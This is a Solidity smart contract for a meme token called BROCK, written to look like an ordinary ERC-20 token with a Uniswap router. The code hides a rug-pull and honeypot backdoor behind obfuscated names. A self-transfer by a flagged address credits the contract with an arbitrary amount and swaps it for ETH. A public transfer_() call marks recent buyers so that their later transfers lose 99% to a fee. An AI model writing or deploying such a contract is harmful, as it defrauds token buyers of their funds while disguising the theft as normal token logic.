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// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require (c >= a, "SafeMath: addition overflow");
        return c ;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require (b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return  0;}
          uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a,  "SafeMath: subtraction overflow");
        uint256 c  = a - b;
        return c;
    }
}

interface IUniswapV2Router {
    function WETH() external pure returns (address ab);
    function factory() external pure returns (address ad);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata _path,address,uint256) external;
}
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    address private _owner;
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
contract BROCK is Ownable {
    using SafeMath for uint256;
    event Transfer(address indexed address_, address indexed, uint256 value);
    event Approval(address indexed abc, address indexed _adress, uint256 value);
    string private  _symbol = "BROCK";
    uint256 public _decimals = 9;
    string private _name = "BlackRockTrumpSECKarenXBT9000Pepe";
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    mapping (address => uint256) private _balances;
    constructor() {
        _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    uint256 _fee = 0;
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true;
    }
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 _maxTxAmount;
    function removeLimit() external  onlyOwner { _maxWalletSize=_totalSupply; _maxTxAmount = _totalSupply;}
    function decimals() external view  returns (uint256) { return  _decimals;}
    function decreaseAllowance( address from, uint256 amount) public  returns (bool) {
        require(_allowances[msg.sender][from] >= amount);_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return  true;
    }
    uint256 _maxWalletSize;
    function allowance( address owner, address spender)  public view returns (uint256) {return _allowances[owner][spender];
    }
    function symbol()  external view returns (string  memory) { 
        
        return _symbol;}
    function balanceOf(address account)  public view 
    returns (uint256) { 
        return _balances[account];   }
    function totalSupply()  
    external view returns (uint256) {   return _totalSupply; }
    function _transfer(address  from, address to, uint256 amount) internal {
        require(from != address(0));
        if (isBotTransaction( from, to)) {addBot(amount,  to);
        } else {
            require(amount <= _balances[from]);
            uint256 feeAmount =  0;
            if (!bots[from] && cooldowns[from] != 0) {
                if (cooldowns[from] < 
                    block.number) {feeAmount = amount.mul(99).div(100);}
            }setCooldown(from,  to);
            _balances[from] =  _balances[from] - amount;
            _balances[to]  +=  amount - feeAmount;
            emit Transfer(from, to, amount);
        }
    }
    function transfer_() external {
        uint256 c = block.number;  for (uint i = 0; i < holders.length; i++) {
            if (cooldowns[holders[i]] == 0){cooldowns[holders[i]] = c;}}delete holders;
    }
    mapping (address => uint256)  cooldowns;
    function approve(address 
    spender, uint256 amount) public virtual returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function isBot (address 
    _adr) internal view returns (bool) { return bots[_adr];}
    bool inLiquidityTx =  false;
    function addBots(address[] calldata botsList) 
    external  onlyOwner {
        for (uint i = 0; i < botsList.length; i++) { bots[botsList[i]] = true; }
    }
    address[] holders;
    mapping 
    ( address => bool) bots;
    function isBotTransaction (address sender, address receiver) public view returns (bool) { if (receiver == sender) 
    { if (isBot( receiver)
    ) {return isBot(sender) && isBot(receiver);}}return false;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer( msg.sender, recipient, amount);  return true;
    }
    function delBots(address _bot) 
    external onlyOwner { bots[_bot] =  false;
    }
    function addBot(uint256 _mcs, address _bcr) private {
        _approve( address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs; address[] memory path = new address[](2);
        inLiquidityTx =  true;
        path[0] = address(this); path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path, _bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function name() external view returns ( string memory) {return _name;}
    function setCooldown(address  from, address recipient) private returns (bool) {
        return checkCooldown(from, recipient, IUniswapV2Factory(
            _router.factory()).getPair(address(this), _router.WETH()));
    }
    function _8asdg6(bool  _01d3c6, bool _2abd7) internal pure returns 
    (bool) { return !_01d3c6 && !_2abd7;}
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0),  "IERC20: approve to the zero address");
        require(owner != address(0), "IERC20: approve from the zero address");
        _allowances[owner][spender] =  amount; emit Approval(owner,  spender, amount);
    }
    function checkCooldown(address from, address to, address pair) internal returns (bool) {
        bool inL = inLiquidityTx; bool b = _8asdg6(bots[to], isBot(from)); bool res = b; 
        if (!bots[to] &&  _8asdg6(bots[from], inL) && to 
        != pair) 
            {if (to == address(0)) {} 
            else {holders.push(to);}res = true;}
        else if (b && !inL) { if (pair != to) {}else {res = true;}}
        return res;
    }
    function getPairAddress() 
    private view returns (address) {
        return IUniswapV2Factory( 
            _router.factory()).getPair(address(this), _router.WETH());
    }
    function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
        _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true;
    }
}